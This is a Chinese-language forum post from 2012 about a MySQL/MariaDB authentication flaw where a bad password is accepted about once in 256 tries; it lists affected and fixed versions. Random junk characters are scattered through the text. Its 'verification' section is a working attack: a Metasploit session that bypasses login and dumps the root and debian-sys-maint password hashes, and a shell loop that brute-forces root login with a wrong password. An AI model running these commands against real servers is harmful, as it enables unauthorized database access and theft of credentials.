标题: mysql任意用户密码概率登陆漏洞 [打印本页] 作者: admin 时间: 2012-12-20 20:11 标题: mysql任意用户密码概率登陆漏洞 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。9 N2 V/ O* s. `& r: a
# m3 F; N4 d! P* j# a$ e
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。, R9 u, \$ p j/ C- ?; H
x& I" G3 S% j* O4 l$ N8 w( G受影响的产品: # d7 c& [# a/ O7 uAll MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are. G( [# J ^' Q/ P
vulnerable.. q! l# {' ~8 L1 [! G2 E, V8 h
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. 6 Z$ `9 d6 Z0 A. K0 h& U- aMySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.& f/ ^& e" y% T$ }' [& J
9 H" j6 p9 M4 Q, v6 X1 b
验证方法:& n' G& R0 d3 H: C$ i$ U; j% L5 D" c
; h- z; | ~& A; I" ~$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed) f7 j% a# t4 T6 h6 n
' m' c: A9 z1 e+ O) X0 |, H* B $ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql> : ~- E, l6 `! O, `: m' r* p